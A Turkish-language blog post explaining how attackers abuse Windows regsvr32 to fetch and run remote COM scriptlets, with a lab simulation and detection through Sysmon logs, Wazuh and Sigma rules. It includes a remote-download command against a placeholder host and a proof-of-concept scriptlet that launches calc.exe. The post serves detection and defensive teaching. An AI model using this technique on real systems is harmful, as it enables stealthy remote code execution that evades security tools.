Şüpheli Regsvr32 Aktiviteleri ve Tespiti

Emre Orhan
SDTR
Published in
5 min readAug 6, 2023

Herkese selam,

Bu yazımda sizlere regsvr32 processinden bahsedeceğim. Yazıda regsvr32'nin görevini, tehdit aktörleri tarafından nasıl kullanıldığı ve bunun nasıl tespit edilebileceği hakkında konuşacağız.

REGSVR32 Nedir?

Regsvr32.exe, Windows işletim sistemindeki DLL dosyalarının kayıt defterine kaydedilmesi veya kayıt defterinden kaldırılması işlemlerini gerçekleştiren bir araçtır. Bu dosya, Windows uygulamalarının doğru bir şekilde çalışması için gereken DLL dosyalarının kayıt defterine eklenmesini sağlar. Ayrıca, bir DLL dosyasını kayıt defterinden kaldırmanıza da olanak tanır. Bu araç Windows işletim sistemine ait bir yazılımdır.

C:\Windows\System32\regsvr32.exe dizininde bulunmaktadır.

Regsvr32 Tehdit Aktörleri Tarafından Ne Amaçla ve Nasıl Kullanılmaktadır?

Regsvr32, saldırganların komut dosyalararını çalıştırırken güvenlik araçlarına yakalanmamak için tercih ettiği bir yazılımdır. Regsvr32 ile COM scriptletleri ve dll’ler çalıştırılabilir. Aynı zamanda ağ ve proxy farkındalığı sayesinde bir sunucudan sisteme dosyalar indirilebilmektedir. Bu yöntem bir çok APT grubu tarafından kullanılmıştır. Buradan daha ayrıntılı bilgi edinebilirsiniz.

Örnek REGSVR32 Kullanımları

Regsvr32 ile sisteme bir sunucudan dosya indirmek için aşağıdaki komut kullanılmaktadır:

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

Buradaki parametreler şu anlama gelmekte:

/s: Sessiz modda çalıştırır bu sayede ekranda herhangi bir şey gözükmeyecektir.
/u: Bir DLL dosyasını kayıttan kaldırır.
/i: Bununla saldırgan dosyayı indirmek istediği web sunucusunun adresini belirtir.

Bu komut çalıştırıldığında sisteme file.sct dosyası indirilecektir.

Saldırı Simülasyonu

Bu kısımda lab ortamında regsvr32'yi farklı bir processler çalıştırmak için kullanacağız ve ardından bunun tespitinde dikkat edilecek yerlere bakacağız. Bu saldırıyı simüle etmek için bir adet Windows 10 ve Wazuh kullanacağım. Saldırıda aşağıdaki komutu çalıştırarak sistemde regsvr32 ile hesap makinesi çalıştıracağız. Kod üzerinde bir kaç değişiklik yaparak farklı yazılımlar çalıştırabilirsiniz.

<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->

<!-- .sct files when downloaded, are executed from a path like this -->
<!-- Please Note, file extenstion does not matter -->
<!-- Though, the name and extension are arbitary.. -->
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
<!-- You can either execute locally, or from a url -->
<script language="JScript">
<![CDATA[
// calc.exe should launch, this could be any arbitrary code.
// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>
</script>
</registration>
</scriptlet>

Yukarıda saldırıda kullanacağımız komut dosyasını görmektesiniz. Bu dosyayı burada ki GitHub hesabından aldım.

Saldırı aşamasına geçersek yukarıdaki kodu .sct uzantılı olarak kaydederek sistemde çalıştırdım. Yukarıda da bahsettiğim gibi eğer bir sorun olmaz ise komutlar çalıştıktan sonra sistemde hesap makinesi başlatılacak.

Kodu çalıştırdığım anda yukarıda ki görselde gözüktüğü gibi hesap makinesi başarılı şekilde çalıştı. Burada aynı yöntem ile hem uzak bir sunucudan zararlı bir dosya indirilip hemde bunun çalıştırılması sağlanabilir. Ve bu işlemler Windowsun kendisine ait olan regsvr32 process’inin altında çalışacağı için pek dikkat çekmeyecek. Tabi ki bu tespit etmeyi imkansız hale getirmemekte.

Şimdi bu olayı event viewer ve Wazuh üzerinden inceleyelim.

İlk olarak olay görüntüleyicisinden loglara bakalım. Bu logları görebilmek için sisteminizde sysmon kurulu olması gerekmekte. Windows 10 makinenize sysmon kurup wazuh’a entegre etmek istiyorsanız https://www.youtube.com/watch?v=FvMnfu3wPoA&t=1109s bu video yardımcı olacaktır. Şimdi konumuza devam edelim.

Olay görüntüleyicisini açtığımızda tabi ki karşımıza bir çok log çıkmakta burada bizim aradığımız logu bulmak için Regsvr32 ile ilgili arama yaptım ve görseldeki logu buldum. Evet ID değeri 1 olan bu log bir process’in oluşturulduğunu belirtmekte. Ayrıntılara geldiğimizde komut satırında “C:\Windows\System32\calc.exe” yazdığını görmekteyiz. Yani bu log hesap makinesini çalıştıran log. ParrentCommanLine kısmında ise bu kodun çalışmasını sağlayan parrent process’e ait komutları görmekteyiz. Burada ki komut incelendiğinde Regsvr32 ile Regsvr32(1).sct dosyasının çalıştırıldığını görmekteyiz. Bu dosyayı da hatırlarsanız bizim zararlı kodlarımızın bulunduğu dosyamız.

Aynı olayı birde Wazuh üzerinden inceleyelim. Burada incelemesi biraz daha kolay. Görsele baktığımız da ilk iki logun direkt bizim aradığımız loglar olduğunu görmekteyiz. Burada 2. Sıradaki log regsvr32 ile bir dosyanın çalıştırıldığını ilk sıradaki log’da ise hesap makinesinin çalıştığını görmekteyiz. Bu şekilde sistemde Regsvr32’nin kötü niyetli olarak çalıştırıldığı tespit edilebilir.

Tabi ki gerçek olaylarda işler böyle kolay olmamakta. Bir çok logun bulunduğu bir sistemde regsvr32’den şüphelenip doğrudan ona yönelik bir araştırma yapmak pek olası değil. Bunun tespitini kolaylaştırmak için aşağıdaki linklerde bulunan sigma kuralları kullanılabilir. Bu sayede sistemde regsvr32’nin zararlı aktiviteler sergilediği daha hızlı ve rahat şekilde tespit edilecektir. Yazımın sonuna gelmiş bulunmaktayız umarım sizler için faydalı bir yazı olmuştur.

Kaynakça

--

--